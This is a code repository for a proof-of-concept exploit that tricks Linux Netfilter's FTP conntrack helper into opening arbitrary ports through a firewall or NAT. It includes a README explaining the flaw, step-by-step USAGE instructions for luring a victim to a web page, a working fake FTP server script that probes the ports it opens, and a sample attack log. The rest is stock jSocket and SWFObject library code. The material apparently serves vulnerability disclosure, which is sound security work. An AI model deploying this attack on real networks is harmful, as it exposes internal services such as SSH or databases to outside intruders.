├── README ├── USAGE ├── fake-server.py ├── flash-policy-server ├── crossdomain.xml └── server.jar └── web ├── example.html ├── jsocket.js ├── jsocket.swf └── swfobject.js /README: -------------------------------------------------------------------------------- 1 | ================================================================================ 2 | Bypass the Linux Netfilter using conntrack helpers 3 | ================================================================================ 4 | One day I wondered how conntrack's helpers work. 5 | 6 | А questionable point exists in the conntrack expectations design. What happens if somebody opened fake outgoing connection which would match conntrack helpers' signatures? Conntrack module will be able to add records in expectation table. And somebody would connect to this port from outside and come through iptables rules. 7 | 8 | If you think that this is just a joke, I intend to show that it is a really serious problem and I founded two ways to exploit it. 9 | 10 | In the first case, we have a single Linux host connected directly to the public network. 11 | Usually, iptables config for the workstation are similar to this: 12 | ------ 13 | iptables -A INPUT -i lo -j ACCEPT 14 | iptables -A INPUT -p icmp -j ACCEPT 15 | iptables -A INPUT -m state --state ESTABLISHED,RELATED -j ACCEPT # accept established connections 16 | iptables -A INPUT -p tcp --dport 80 -j ACCEPT # allow access to http server 17 | iptables -P INPUT DROP # drop other incoming connections 18 | 19 | iptables -P OUTPUT -j ACCEPT # allow any connection from the host 20 | ------ 21 | Also nf_conntrack_ftp module loaded in order to enable active ftp work. You can argue that this configuration so stupid, and I must specify --dport in -m state rule. I understand, but anyway, I found plenty of manuals on the Internet which look like above described, e.g. https://help.ubuntu.com/community/IptablesHowTo 22 | 23 | If malicious software could initiate connection to remote 21 port and send tcp packets like this 24 | ------ 25 | > USER anonymous 26 | > PASS test@example.com 27 | > PORT x,x,x,x,y,z 28 | ------ 29 | where x,x,x,x is host ip on external network, then (y << 8 | z) port will be OPENED from the sender ip address. 30 | For example, we can use y=0, z=22 to open a ssh port, or, y=21, z=56 to open a database server. 31 | 32 | In the second case, we have host in local network masquared by Linux NAT. 33 | Regular iptables config for NAT looks like this: 34 | ------ 35 | iptables -A FORWARD -s 192.168.0.0/24 -o eth1 -j ACCEPT 36 | iptables -A FORWARD -d 192.168.0.0/24 -i eth1 -j ACCEPT 37 | iptables -P FORWARD DROP 38 | 39 | iptables -t nat -A POSTROUTING -s 192.168.0.0/24 -o eth1 -j SNAT --to-source x.x.x.x 40 | sysctl -w net.ipv4.conf.all.forwarding=1 41 | ------ 42 | where 192.168.0.0/24 internal network and x.x.x.x external ip address. 43 | 44 | Unfortunately, all users from 192.168.0.0/24 will have problems with an active FTP. Users will force administrators to read boring manuals as alredy founded and load nf_connrack_ftp + nf_nat_ftp to "overcome" the problem. 45 | 46 | Next, if malicious software would initiate connection as in the previous case, NAT subsystem will forward (y << 8 | z) port to outside by changing source PORT command and, in fact, forwarding a port inside. So, if we something would open connections to remote 21 port and send our PORT commands, we can transparently open ANY port from INTERNAL server to the public Internet, regardless NAT. Hereinafter, I'll call this "conntrack back-connection issue". 47 | 48 | Furthermore, various ways to inititate connections from client exists. It can be malicious software, that needs only user permisions to open connection outgoing connection, or user himself, or ... surprise, just a web-browser. 49 | Contemporary HTML standards support for outgoing socket connections in web applications. Moreover, now you can use Adobe Flash, Java Applets, XMLHTTPRequest and so on to start an outgoing connection and to send appropriate signatures through conntrack helpers. 50 | 51 | I have made simple exploit of this issue. This is just a simple HTML page on client and fake FTP server on the side of attacker. Currently, no browsers in production supported WebSockets and I decided to use flash-based jSocket library to initiate back-connections. 52 | 53 | A small protection exists in nf_conntrack_ftp code. It checks if ip address in PORT command exactly same as a sender ip address. So, we can't get internal client ip address in a browser, it's absolutely impossible. If you knew how to do it, please tell me. So my code blindly probes all fake ip addresses. It transmits about 3-4 megabytes for /16 network (its just nothing for contemporary speeds). 54 | 55 | I have published all at a my git repo (http://gitorious.org/art1x/conntrack-issue). I tested this code with various versions of kernel, incl. 2.4.x and current 2.6.x. A lot of network devices loads nf_conntrack_* modules by default, because users have problems with old protocols such as active ftp. I think, usually administrators of various corporate' routers also enables it. 56 | 57 | All that I have described above are not bug, it just ftp protocol design drawbacks. 58 | FTP is a application level protocol (in terms of OSI model) that sends information about level 3 connection (ip address in PORT command). BTW, a file transfer protocol was invented in the 70s before any established network models. There are a lot of application level protocols which also have some problems and can't be transparently transfered over the NAT without additional efforts, e.g. sip, p2p, etc. But anyway, only nf_conntrack_ftp adds tcp exceptions to Netfilter, and udp proto isn't really interested. 59 | 60 | Code of nf_conntrack_ftp.c is perfect and I've no idea what we can additionaly check here. Somebody also uses other helpers, not only the nf_conntrack_ftp. This modules is really needed for normal work, but its unsecury at the sometime. May be, we should add a large warning message to it? I've blacklisted application layer helpers at my router, but I haven't found real solution of the problem yet. 61 | 62 | -- 63 | Roman O Tsisyk 64 | This is a copy of netfilter-devel message, originally posted on 2009-12-27 65 | 66 | If you have some ideas, please don't hesitate to contact me (email/xmpp: ${firstname}@${lastname}.com). 67 | -------------------------------------------------------------------------------- /USAGE: -------------------------------------------------------------------------------- 1 | ================================================================================ 2 | Usage example 3 | ================================================================================ 4 | 5 | Client (any OS) 6 | eth0: 192.168.0.10/24 7 | 8 | Router (Linux with NAT and conntrack_ftp, see below) 9 | eth0: 192.168.0.1/24 10 | eth1: x.x.x.x 11 | 12 | Fake-FTP server (any OS) 13 | eth0: y.y.y.y 14 | 15 | 0. Set-up router like theese: 16 | ------ 17 | iptables -A FORWARD -s 192.168.0.0/24 -o eth1 -j ACCEPT 18 | iptables -A FORWARD -d 192.168.0.0/24 -i eth1 -j ACCEPT 19 | iptables -P FORWARD DROP 20 | 21 | iptables -t nat -A POSTROUTING -s 192.168.0.0/24 -o eth1 -j SNAT --to-source x.x.x.x 22 | sysctl -w net.ipv4.conf.all.forwarding=1 23 | modprobe nf_conntract_ftp 24 | modprobe nf_nat_ftp 25 | ------ 26 | 27 | 1. Run flash policy server on y.y.y.y (java -jar ./server.jar) 28 | source http://jsocket.googlecode.com/svn/trunk/jsocket/samples/server/java/ 29 | 2. Add your action at check(self, ip, port) in fake-server.py, 30 | e.g. screen -d -m ssh ip -p port or nmap ip -p port &> log.txt 31 | 3. Run fake-server.py on y.y.y.y 32 | 4. Change IP address in example.html to y.y.y.y and put it on web server (any) 33 | 5. Ask client to open example.html, only this action from client is required 34 | Flash have to be enabled, but you can reimplement this page using WebSockets or applets 35 | 6. Wait for example.html 36 | 37 | fake-server log: 38 | ------ 39 | 2009-12-27 10:08:41,776 DEBUG ('x.x.x.x', 43640): USER anonymous 40 | 2009-12-27 10:08:41,791 DEBUG ('x.x.x.x', 43640): PASS test@example.com 41 | 2009-12-27 10:08:41,797 DEBUG ('x.x.x.x', 43640): PORT 192,168,0,2,0,22 42 | 2009-12-27 10:08:41,797 DEBUG ('x.x.x.x', 43640): PORT failed 43 | 2009-12-27 10:08:41,806 DEBUG ('x.x.x.x', 43640): PORT 192,168,0,3,0,22 44 | 2009-12-27 10:08:41,806 DEBUG ('x.x.x.x', 43640): PORT failed 45 | 2009-12-27 10:08:41,823 DEBUG ('x.x.x.x', 43640): PORT 192,168,0,4,0,22 46 | 2009-12-27 10:08:41,823 DEBUG ('x.x.x.x', 43640): PORT failed 47 | 2009-12-27 10:08:41,835 DEBUG ('x.x.x.x', 43640): PORT 192,168,0,5,0,22 48 | 2009-12-27 10:08:41,835 DEBUG ('x.x.x.x', 43640): PORT failed 49 | 2009-12-27 10:08:41,846 DEBUG ('x.x.x.x', 43640): PORT 192,168,0,6,0,22 50 | 2009-12-27 10:08:41,846 DEBUG ('x.x.x.x', 43640): PORT failed 51 | 2009-12-27 10:08:41,853 DEBUG ('x.x.x.x', 43640): PORT 192,168,0,7,0,22 52 | 2009-12-27 10:08:41,854 DEBUG ('x.x.x.x', 43640): PORT failed 53 | 2009-12-27 10:08:41,862 DEBUG ('x.x.x.x', 43640): PORT 192,168,0,8,0,22 54 | 2009-12-27 10:08:41,862 DEBUG ('x.x.x.x', 43640): PORT failed 55 | 2009-12-27 10:08:41,872 DEBUG ('x.x.x.x', 43640): PORT 192,168,0,9,0,22 56 | 2009-12-27 10:08:41,873 DEBUG ('x.x.x.x', 43640): PORT failed 57 | 2009-12-27 10:08:41,884 DEBUG ('x.x.x.x', 43640): PORT x,x,x,x,0,22 # PORT body has been changed 58 | 2009-12-27 10:08:41,884 INFO ('x.x.x.x', 43640): PORT success 59 | 2009-12-27 10:08:41,884 INFO ('x.x.x.x', 43640): probing x.x.x.x:22 60 | 2009-12-27 10:08:41,884 DEBUG ('x.x.x.x', 43640): port 22 works 61 | 2009-12-27 10:08:41,886 INFO x.x.x.x:43640 disconnected 62 | ------ 63 | 64 | -------------------------------------------------------------------------------- /fake-server.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: utf-8 -*- 3 | # 4 | # Fake ftp server code for conntrack exploit 5 | # 6 | # This software is in the public domain, furnished "as is", without technical 7 | # support, and with no warranty, express or implied, as to its usefulness for 8 | # any purpose. 9 | # 10 | # Author: Roman Tsisyk 11 | # 12 | # Please read README file first! 13 | # This server gets PORT request from client, checks if ip address matched 14 | # a real cleint adddress and tries to connect. It emulates ftp sometimes, but 15 | # its not realy necessary for our needs, just for a smart firewalls and logs 16 | # 17 | 18 | import sys, logging 19 | from SocketServer import ThreadingTCPServer, ThreadingMixIn, BaseRequestHandler 20 | 21 | # 22 | # Main server class 23 | # 24 | class BackConnectServer(ThreadingMixIn, ThreadingTCPServer): 25 | # logger 26 | log = None; 27 | 28 | # 29 | # Main handler 30 | # 31 | class BackConnectHandler(BaseRequestHandler): 32 | def __init__(self, request, client_address, server): 33 | self.log = server.log; 34 | BaseRequestHandler.__init__(self, request, client_address, server); 35 | 36 | def setup(self): 37 | self.log.info('%s:%s connected', *self.client_address); 38 | self.request.send('220 vsFTPd ready.\n'); 39 | 40 | def check(self, ip, port): 41 | self.log.info('%s: probing %s:%s', self.client_address, ip, port); 42 | 43 | # 44 | # connect to this port using external program and do smth 45 | # 46 | # os.system('nmap %s -A -p %s', ip, port); 47 | # return True; if connection established 48 | 49 | return False; 50 | 51 | def handle(self): 52 | data = True; 53 | while data: 54 | data = self.request.recv(1024); 55 | cmd = data[0:4]; 56 | 57 | self.log.debug('%s: %s', self.client_address, data.strip()); 58 | # we really not have to handle all ftp protocol and check states like fsm 59 | # let client think that auth realy needed and there is real ftp 60 | if cmd == 'PORT': 61 | port_data = data[4:].strip().split(','); 62 | try: 63 | # extract port number 64 | port = int(port_data[4]) << 8 | int(port_data[5]); 65 | except: 66 | self.log.error('%s: Invalid reply received', self.client_address); 67 | 68 | # check if there is not NAT or 69 | # nf_nat_ftp converted internal fake ip to external 70 | if ('.'.join(port_data[0:4]) == self.client_address[0]): 71 | self.log.info('%s: PORT success', self.client_address); 72 | 73 | # run extern program (e.g. ssh or smbclient) and do something 74 | if self.check(self.client_address[0], port): 75 | # matrix has you :) 76 | self.log('%s: port %s works', 77 | self.client_address, port); 78 | else: 79 | self.log.debug('%s: connection to %s:%s failed', 80 | self.client_address, self.client_address[0], port); 81 | 82 | # stop client script 83 | self.request.send('200 PORT command successful.\n'); 84 | return; 85 | else: 86 | self.log.debug('%s: PORT failed', self.client_address); 87 | 88 | self.request.send('500 Illegal PORT command.\n'); 89 | elif cmd == 'USER': 90 | self.request.send('331 Please specify the password.\n'); 91 | elif cmd == 'PASS': 92 | self.request.send('530 Login incorrect.\n'); 93 | elif cmd == 'QUIT': 94 | return 95 | else: 96 | self.request.send('530 Please login with USER and PASS.\n'); 97 | 98 | def finish(self): 99 | self.log.info('%s:%s disconnected', *self.client_address); 100 | self.request.send('221 Goodbye.'); 101 | 102 | def __init__(self): 103 | self.log = logging.getLogger(); 104 | self.log.setLevel(logging.DEBUG); 105 | log_hdl = logging.StreamHandler(); 106 | log_hdl.setFormatter(logging.Formatter( '%(asctime)s %(levelname)s %(message)s' )) 107 | self.log.addHandler(log_hdl); 108 | self.allow_reuse_address = True; 109 | ThreadingTCPServer.__init__(self, ('', 21), self.BackConnectHandler); 110 | 111 | # run server 112 | server = BackConnectServer(); 113 | server.serve_forever(); 114 | -------------------------------------------------------------------------------- /flash-policy-server/crossdomain.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | -------------------------------------------------------------------------------- /flash-policy-server/server.jar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rtsisyk/linux-iptables-contrack-exploit/d12e513e93822783ab81886a2aafbe33e5623902/flash-policy-server/server.jar -------------------------------------------------------------------------------- /web/example.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 10 | 11 | Netfilter pass-through techniquie 12 | 13 | 14 | 15 | 16 | 17 | 18 |
19 | 20 | 96 | 97 | 98 | -------------------------------------------------------------------------------- /web/jsocket.js: -------------------------------------------------------------------------------- 1 | /* jSocket.js 2 | * 3 | * The MIT License 4 | * 5 | * Copyright (c) 2008 Tjeerd Jan 'Aidamina' van der Molen 6 | * http://jsocket.googlecode.com 7 | * 8 | * Permission is hereby granted, free of charge, to any person obtaining a copy 9 | * of this software and associated documentation files (the "Software"), to deal 10 | * in the Software without restriction, including without limitation the rights 11 | * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 12 | * copies of the Software, and to permit persons to whom the Software is 13 | * furnished to do so, subject to the following conditions: 14 | * 15 | * The above copyright notice and this permission notice shall be included in 16 | * all copies or substantial portions of the Software. 17 | * 18 | * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 19 | * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 20 | * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 21 | * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 22 | * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 23 | * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN 24 | * THE SOFTWARE. 25 | */ 26 | 27 | /** 28 | * Construct 29 | * @param {function} onReady When the SWF is added the to document and ready for use 30 | * @param {function} onConnect Connection attempt finished (either succesfully or with an error) 31 | * @param {function} onData Socket received data from the remote host 32 | * @param {function} onClose Remote host disconnects the connection 33 | */ 34 | function jSocket(onReady, onConnect, onData, onClose) { 35 | this.onReady = onReady; 36 | this.onConnect = onConnect; 37 | this.onData = onData; 38 | this.onClose = onClose; 39 | 40 | this.id = "jSocket_"+ (++jSocket.last_id); 41 | jSocket.sockets[this.id] = this; 42 | 43 | // Connection state 44 | this.connected = false; 45 | } 46 | 47 | /** 48 | * String defining the default swf file 49 | * @var String 50 | */ 51 | jSocket.swf = "jsocket.swf"; 52 | 53 | /** 54 | * Object used as array with named keys to 55 | * keep references to the instantiated sockets 56 | * @var Object 57 | */ 58 | jSocket.sockets = {}; 59 | 60 | /** 61 | * Id used to generate a unique id for the embedded swf 62 | * @var int 63 | */ 64 | jSocket.last_id = 0; 65 | 66 | /** 67 | * A nonexisting public flash object variable 68 | * This variable is used for testing access to the object. 69 | * @var String 70 | */ 71 | jSocket.variableTest ='xt'; 72 | 73 | /** 74 | * Find the SWF in the DOM and return it 75 | * @return DOMNode 76 | */ 77 | jSocket.prototype.findSwf = function() { 78 | return document.getElementById(this.target); 79 | } 80 | 81 | /** 82 | * Insert the SWF into the DOM 83 | * @param String {target} The id of the DOMnode that will get replaced by the SWF 84 | * @param String {swflocation} The filepath to the SWF 85 | */ 86 | jSocket.prototype.setup = function(target, swflocation) { 87 | if(typeof(swfobject) == 'undefined') 88 | throw 'SWFObject not found! Please download from http://code.google.com/p/swfobject/'; 89 | if(typeof(this.target) != 'undefined') 90 | throw 'Can only call setup on a jSocket Object once.'; 91 | this.target = target; 92 | 93 | // Add the object to the dom 94 | return swfobject.embedSWF( 95 | (swflocation ? swflocation : jSocket.swf)+'?'+this.id, 96 | this.target, 97 | '0', // width 98 | '0', // height 99 | '9.0.0', 100 | 'expressInstall.swf', 101 | // Flashvars 102 | {}, 103 | // Params 104 | {'menu' : 'false'}, 105 | // Attributes 106 | {} 107 | ); 108 | 109 | } 110 | 111 | /** 112 | * Connect to the specified host on the specified port 113 | * @param String {host} Hostname or ip to connect to 114 | * @param Int {port} Port to connect to on the given host 115 | */ 116 | jSocket.prototype.connect = function(host,port) { 117 | if(!this.movie) 118 | throw "jSocket isn't ready yet, use the onReady event"; 119 | if(this.connected) 120 | this.movie.close(); 121 | this.movie.connect(host, port); 122 | } 123 | 124 | /** 125 | * Close the current socket connection 126 | */ 127 | jSocket.prototype.close = function() { 128 | this.connected = false; 129 | if(this.movie) 130 | this.movie.close(); 131 | } 132 | 133 | /** 134 | * Send data trough the socket to the server 135 | * @param Mixedvar {data} The data to be send to the sever 136 | */ 137 | jSocket.prototype.write = function(data) { 138 | this.assertConnected(); 139 | this.movie.write(data); 140 | } 141 | 142 | /** 143 | * Make sure the socked is connected. 144 | * @throws Exception Throws an exception when the socket isn't connected 145 | */ 146 | jSocket.prototype.assertConnected = function() { 147 | if(!this.connected||!this.movie) 148 | throw "jSocket is not connected, use the onConnect event "; 149 | } 150 | 151 | /** 152 | * Callback that the flash object calls using externalInterface 153 | * @param String {name} What callback is called 154 | * @param String {id} Id of the socket 155 | * @param String {data} Used for data and errors 156 | */ 157 | jSocket.flashCallback = function(name, id, data) { 158 | // Because the swf locks up untill the callback is done executing we want to get this over with asap! 159 | // http://www.calypso88.com/?p=25 160 | var f = function() { 161 | jSocket.executeFlashCallback(name, id, data); 162 | }; 163 | setTimeout(f, 0); 164 | return; 165 | } 166 | 167 | /** 168 | * Execute the Callbacks 169 | * @param String {name} What callback is called 170 | * @param String {id} Id of the socket 171 | * @param String {data} Used for data and errors 172 | */ 173 | jSocket.executeFlashCallback = function(name, id, data) { 174 | var socket = jSocket.sockets[id]; 175 | 176 | switch (name) { 177 | // Callback for the flash object to signal the flash file is loaded 178 | // triggers jsXMLSocket.onReady 179 | case 'init': 180 | var v = jSocket.variableTest; 181 | // Wait until we can actually set Variables in flash 182 | var f = function(){ 183 | var err = true; 184 | try { 185 | // Needs to be in the loop, early results might fail, when DOM hasn't updated yet 186 | var m = socket.findSwf(); 187 | m.SetVariable(v, 't'); 188 | if('t' != m.GetVariable(v)) 189 | throw null; 190 | m.SetVariable(v, ''); 191 | // Store the found movie for later use 192 | socket.movie = m; 193 | err=false; 194 | } catch(e) { 195 | setTimeout(f, 0); 196 | } 197 | // Fire the onReady event 198 | if(!err&&typeof socket.onReady=="function") 199 | socket.onReady(); 200 | }; 201 | setTimeout(f, 0); 202 | break; 203 | 204 | // Callback for the flash object to signal data is received 205 | // triggers jSocket.onData 206 | case 'data': 207 | if(typeof socket.onData=="function") 208 | socket.onData(data); 209 | break; 210 | 211 | // Callback for the flash object to signal the connection attempt is finished 212 | // triggers jSocket.onConnect 213 | case 'connect': 214 | socket.connected = true; 215 | if(typeof socket.onConnect=="function") 216 | socket.onConnect(true); 217 | break; 218 | 219 | // Callback for the flash object to signal the connection attempt is finished 220 | // triggers jSocket.onConnect 221 | case 'error': 222 | if(typeof socket.onConnect=="function") 223 | socket.onConnect(false, data); 224 | break; 225 | 226 | // Callback for the flash object to signal the connection was closed from the other end 227 | // triggers jSocket.onClose 228 | case 'close': 229 | socket.connected = false; 230 | if(typeof socket.onClose=="function") 231 | socket.onClose(); 232 | break; 233 | 234 | default: 235 | throw "jSocket: unknown callback '"+name+"' used"; 236 | } 237 | } 238 | -------------------------------------------------------------------------------- /web/jsocket.swf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rtsisyk/linux-iptables-contrack-exploit/d12e513e93822783ab81886a2aafbe33e5623902/web/jsocket.swf -------------------------------------------------------------------------------- /web/swfobject.js: -------------------------------------------------------------------------------- 1 | /*! SWFObject v2.2 2 | is released under the MIT License 3 | */ 4 | 5 | var swfobject = function() { 6 | 7 | var UNDEF = "undefined", 8 | OBJECT = "object", 9 | SHOCKWAVE_FLASH = "Shockwave Flash", 10 | SHOCKWAVE_FLASH_AX = "ShockwaveFlash.ShockwaveFlash", 11 | FLASH_MIME_TYPE = "application/x-shockwave-flash", 12 | EXPRESS_INSTALL_ID = "SWFObjectExprInst", 13 | ON_READY_STATE_CHANGE = "onreadystatechange", 14 | 15 | win = window, 16 | doc = document, 17 | nav = navigator, 18 | 19 | plugin = false, 20 | domLoadFnArr = [main], 21 | regObjArr = [], 22 | objIdArr = [], 23 | listenersArr = [], 24 | storedAltContent, 25 | storedAltContentId, 26 | storedCallbackFn, 27 | storedCallbackObj, 28 | isDomLoaded = false, 29 | isExpressInstallActive = false, 30 | dynamicStylesheet, 31 | dynamicStylesheetMedia, 32 | autoHideShow = true, 33 | 34 | /* Centralized function for browser feature detection 35 | - User agent string detection is only used when no good alternative is possible 36 | - Is executed directly for optimal performance 37 | */ 38 | ua = function() { 39 | var w3cdom = typeof doc.getElementById != UNDEF && typeof doc.getElementsByTagName != UNDEF && typeof doc.createElement != UNDEF, 40 | u = nav.userAgent.toLowerCase(), 41 | p = nav.platform.toLowerCase(), 42 | windows = p ? /win/.test(p) : /win/.test(u), 43 | mac = p ? /mac/.test(p) : /mac/.test(u), 44 | webkit = /webkit/.test(u) ? parseFloat(u.replace(/^.*webkit\/(\d+(\.\d+)?).*$/, "$1")) : false, // returns either the webkit version or false if not webkit 45 | ie = !+"\v1", // feature detection based on Andrea Giammarchi's solution: http://webreflection.blogspot.com/2009/01/32-bytes-to-know-if-your-browser-is-ie.html 46 | playerVersion = [0,0,0], 47 | d = null; 48 | if (typeof nav.plugins != UNDEF && typeof nav.plugins[SHOCKWAVE_FLASH] == OBJECT) { 49 | d = nav.plugins[SHOCKWAVE_FLASH].description; 50 | if (d && !(typeof nav.mimeTypes != UNDEF && nav.mimeTypes[FLASH_MIME_TYPE] && !nav.mimeTypes[FLASH_MIME_TYPE].enabledPlugin)) { // navigator.mimeTypes["application/x-shockwave-flash"].enabledPlugin indicates whether plug-ins are enabled or disabled in Safari 3+ 51 | plugin = true; 52 | ie = false; // cascaded feature detection for Internet Explorer 53 | d = d.replace(/^.*\s+(\S+\s+\S+$)/, "$1"); 54 | playerVersion[0] = parseInt(d.replace(/^(.*)\..*$/, "$1"), 10); 55 | playerVersion[1] = parseInt(d.replace(/^.*\.(.*)\s.*$/, "$1"), 10); 56 | playerVersion[2] = /[a-zA-Z]/.test(d) ? parseInt(d.replace(/^.*[a-zA-Z]+(.*)$/, "$1"), 10) : 0; 57 | } 58 | } 59 | else if (typeof win.ActiveXObject != UNDEF) { 60 | try { 61 | var a = new ActiveXObject(SHOCKWAVE_FLASH_AX); 62 | if (a) { // a will return null when ActiveX is disabled 63 | d = a.GetVariable("$version"); 64 | if (d) { 65 | ie = true; // cascaded feature detection for Internet Explorer 66 | d = d.split(" ")[1].split(","); 67 | playerVersion = [parseInt(d[0], 10), parseInt(d[1], 10), parseInt(d[2], 10)]; 68 | } 69 | } 70 | } 71 | catch(e) {} 72 | } 73 | return { w3:w3cdom, pv:playerVersion, wk:webkit, ie:ie, win:windows, mac:mac }; 74 | }(), 75 | 76 | /* Cross-browser onDomLoad 77 | - Will fire an event as soon as the DOM of a web page is loaded 78 | - Internet Explorer workaround based on Diego Perini's solution: http://javascript.nwbox.com/IEContentLoaded/ 79 | - Regular onload serves as fallback 80 | */ 81 | onDomLoad = function() { 82 | if (!ua.w3) { return; } 83 | if ((typeof doc.readyState != UNDEF && doc.readyState == "complete") || (typeof doc.readyState == UNDEF && (doc.getElementsByTagName("body")[0] || doc.body))) { // function is fired after onload, e.g. when script is inserted dynamically 84 | callDomLoadFunctions(); 85 | } 86 | if (!isDomLoaded) { 87 | if (typeof doc.addEventListener != UNDEF) { 88 | doc.addEventListener("DOMContentLoaded", callDomLoadFunctions, false); 89 | } 90 | if (ua.ie && ua.win) { 91 | doc.attachEvent(ON_READY_STATE_CHANGE, function() { 92 | if (doc.readyState == "complete") { 93 | doc.detachEvent(ON_READY_STATE_CHANGE, arguments.callee); 94 | callDomLoadFunctions(); 95 | } 96 | }); 97 | if (win == top) { // if not inside an iframe 98 | (function(){ 99 | if (isDomLoaded) { return; } 100 | try { 101 | doc.documentElement.doScroll("left"); 102 | } 103 | catch(e) { 104 | setTimeout(arguments.callee, 0); 105 | return; 106 | } 107 | callDomLoadFunctions(); 108 | })(); 109 | } 110 | } 111 | if (ua.wk) { 112 | (function(){ 113 | if (isDomLoaded) { return; } 114 | if (!/loaded|complete/.test(doc.readyState)) { 115 | setTimeout(arguments.callee, 0); 116 | return; 117 | } 118 | callDomLoadFunctions(); 119 | })(); 120 | } 121 | addLoadEvent(callDomLoadFunctions); 122 | } 123 | }(); 124 | 125 | function callDomLoadFunctions() { 126 | if (isDomLoaded) { return; } 127 | try { // test if we can really add/remove elements to/from the DOM; we don't want to fire it too early 128 | var t = doc.getElementsByTagName("body")[0].appendChild(createElement("span")); 129 | t.parentNode.removeChild(t); 130 | } 131 | catch (e) { return; } 132 | isDomLoaded = true; 133 | var dl = domLoadFnArr.length; 134 | for (var i = 0; i < dl; i++) { 135 | domLoadFnArr[i](); 136 | } 137 | } 138 | 139 | function addDomLoadEvent(fn) { 140 | if (isDomLoaded) { 141 | fn(); 142 | } 143 | else { 144 | domLoadFnArr[domLoadFnArr.length] = fn; // Array.push() is only available in IE5.5+ 145 | } 146 | } 147 | 148 | /* Cross-browser onload 149 | - Based on James Edwards' solution: http://brothercake.com/site/resources/scripts/onload/ 150 | - Will fire an event as soon as a web page including all of its assets are loaded 151 | */ 152 | function addLoadEvent(fn) { 153 | if (typeof win.addEventListener != UNDEF) { 154 | win.addEventListener("load", fn, false); 155 | } 156 | else if (typeof doc.addEventListener != UNDEF) { 157 | doc.addEventListener("load", fn, false); 158 | } 159 | else if (typeof win.attachEvent != UNDEF) { 160 | addListener(win, "onload", fn); 161 | } 162 | else if (typeof win.onload == "function") { 163 | var fnOld = win.onload; 164 | win.onload = function() { 165 | fnOld(); 166 | fn(); 167 | }; 168 | } 169 | else { 170 | win.onload = fn; 171 | } 172 | } 173 | 174 | /* Main function 175 | - Will preferably execute onDomLoad, otherwise onload (as a fallback) 176 | */ 177 | function main() { 178 | if (plugin) { 179 | testPlayerVersion(); 180 | } 181 | else { 182 | matchVersions(); 183 | } 184 | } 185 | 186 | /* Detect the Flash Player version for non-Internet Explorer browsers 187 | - Detecting the plug-in version via the object element is more precise than using the plugins collection item's description: 188 | a. Both release and build numbers can be detected 189 | b. Avoid wrong descriptions by corrupt installers provided by Adobe 190 | c. Avoid wrong descriptions by multiple Flash Player entries in the plugin Array, caused by incorrect browser imports 191 | - Disadvantage of this method is that it depends on the availability of the DOM, while the plugins collection is immediately available 192 | */ 193 | function testPlayerVersion() { 194 | var b = doc.getElementsByTagName("body")[0]; 195 | var o = createElement(OBJECT); 196 | o.setAttribute("type", FLASH_MIME_TYPE); 197 | var t = b.appendChild(o); 198 | if (t) { 199 | var counter = 0; 200 | (function(){ 201 | if (typeof t.GetVariable != UNDEF) { 202 | var d = t.GetVariable("$version"); 203 | if (d) { 204 | d = d.split(" ")[1].split(","); 205 | ua.pv = [parseInt(d[0], 10), parseInt(d[1], 10), parseInt(d[2], 10)]; 206 | } 207 | } 208 | else if (counter < 10) { 209 | counter++; 210 | setTimeout(arguments.callee, 10); 211 | return; 212 | } 213 | b.removeChild(o); 214 | t = null; 215 | matchVersions(); 216 | })(); 217 | } 218 | else { 219 | matchVersions(); 220 | } 221 | } 222 | 223 | /* Perform Flash Player and SWF version matching; static publishing only 224 | */ 225 | function matchVersions() { 226 | var rl = regObjArr.length; 227 | if (rl > 0) { 228 | for (var i = 0; i < rl; i++) { // for each registered object element 229 | var id = regObjArr[i].id; 230 | var cb = regObjArr[i].callbackFn; 231 | var cbObj = {success:false, id:id}; 232 | if (ua.pv[0] > 0) { 233 | var obj = getElementById(id); 234 | if (obj) { 235 | if (hasPlayerVersion(regObjArr[i].swfVersion) && !(ua.wk && ua.wk < 312)) { // Flash Player version >= published SWF version: Houston, we have a match! 236 | setVisibility(id, true); 237 | if (cb) { 238 | cbObj.success = true; 239 | cbObj.ref = getObjectById(id); 240 | cb(cbObj); 241 | } 242 | } 243 | else if (regObjArr[i].expressInstall && canExpressInstall()) { // show the Adobe Express Install dialog if set by the web page author and if supported 244 | var att = {}; 245 | att.data = regObjArr[i].expressInstall; 246 | att.width = obj.getAttribute("width") || "0"; 247 | att.height = obj.getAttribute("height") || "0"; 248 | if (obj.getAttribute("class")) { att.styleclass = obj.getAttribute("class"); } 249 | if (obj.getAttribute("align")) { att.align = obj.getAttribute("align"); } 250 | // parse HTML object param element's name-value pairs 251 | var par = {}; 252 | var p = obj.getElementsByTagName("param"); 253 | var pl = p.length; 254 | for (var j = 0; j < pl; j++) { 255 | if (p[j].getAttribute("name").toLowerCase() != "movie") { 256 | par[p[j].getAttribute("name")] = p[j].getAttribute("value"); 257 | } 258 | } 259 | showExpressInstall(att, par, id, cb); 260 | } 261 | else { // Flash Player and SWF version mismatch or an older Webkit engine that ignores the HTML object element's nested param elements: display alternative content instead of SWF 262 | displayAltContent(obj); 263 | if (cb) { cb(cbObj); } 264 | } 265 | } 266 | } 267 | else { // if no Flash Player is installed or the fp version cannot be detected we let the HTML object element do its job (either show a SWF or alternative content) 268 | setVisibility(id, true); 269 | if (cb) { 270 | var o = getObjectById(id); // test whether there is an HTML object element or not 271 | if (o && typeof o.SetVariable != UNDEF) { 272 | cbObj.success = true; 273 | cbObj.ref = o; 274 | } 275 | cb(cbObj); 276 | } 277 | } 278 | } 279 | } 280 | } 281 | 282 | function getObjectById(objectIdStr) { 283 | var r = null; 284 | var o = getElementById(objectIdStr); 285 | if (o && o.nodeName == "OBJECT") { 286 | if (typeof o.SetVariable != UNDEF) { 287 | r = o; 288 | } 289 | else { 290 | var n = 